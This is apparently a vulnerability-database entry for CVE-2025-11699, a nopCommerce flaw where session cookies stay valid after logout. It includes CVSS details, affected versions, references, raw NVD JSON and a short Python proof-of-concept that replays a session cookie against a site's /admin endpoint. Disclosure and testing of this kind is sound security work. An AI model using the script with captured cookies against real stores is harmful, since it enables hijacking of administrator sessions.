Security Vulnerability Report
中文
CVE-2025-11699 CVSS 7.1 HIGH

CVE-2025-11699

Published: 2025-12-01 16:15:51
Last Modified: 2025-12-19 17:02:39

Description

nopCommerce v4.70 and prior, and version 4.80.3, does not invalidate session cookies after logout or session termination, allowing an attacker who has a a valid session cookie access to privileged endpoints (such as /admin) even after the legitimate user has logged out, enabling session hijacking. Any version above 4.70 that is not 4.80.3 fixes the vulnerability.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:nopcommerce:nopcommerce:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nopcommerce:nopcommerce:4.80.3:*:*:*:*:*:*:* - VULNERABLE
nopCommerce v4.70及更早版本
nopCommerce v4.80.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11699 PoC - nopCommerce Session Hijacking # This PoC demonstrates the session hijacking vulnerability # Prerequisites: Valid session cookie from authenticated user import requests import sys TARGET_URL = "https://target-site.com" ADMIN_ENDPOINT = f"{TARGET_URL}/admin" def test_session_hijacking(session_cookie): """ Test if the session cookie is still valid after logout. If vulnerability exists, the cookie will still grant access. """ headers = { "Cookie": f".Nop.Customer={session_cookie}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } response = requests.get(ADMIN_ENDPOINT, headers=headers, verify=False) if response.status_code == 200 and "admin" in response.text.lower(): print("[+] VULNERABLE: Session cookie still valid after logout!") print(f"[+] Admin panel accessible at: {ADMIN_ENDPOINT}") return True else: print("[-] NOT VULNERABLE: Session properly invalidated") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_11699_poc.py <session_cookie>") sys.exit(1) cookie = sys.argv[1] test_session_hijacking(cookie) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11699", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:51.017", "lastModified": "2025-12-19T17:02:39.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nopCommerce v4.70 and prior, and version 4.80.3, does not invalidate session cookies after logout or session termination, allowing an attacker who has a \r\na valid session cookie access to privileged endpoints (such as /admin) even after the legitimate user has logged out, enabling session hijacking. Any version above 4.70 that is not 4.80.3 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.70.0", "matchCriteriaId": "1ED7F330-7825-4245-AF45-D80F2530DD97"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:4.80.3:*:*:*:*:*:*:*", "matchCriteriaId": "290294AA-E19A-4A11-AEC5-6159CB4681AE"}]}]}], "references": [{"url": "https://github.com/nopSolutions/nopCommerce/issues/7044", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://seclists.org/fulldisclosure/2025/Aug/14", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.nopcommerce.com/en/release-notes?srsltid=AfmBOoravPKjN19pm_XZbXZ7GvPhkt8cxlK6794BJRZlY5RxJU_yNoTT", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.kb.cert.org/vuls/id/633103", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory", "Patch"]}]}}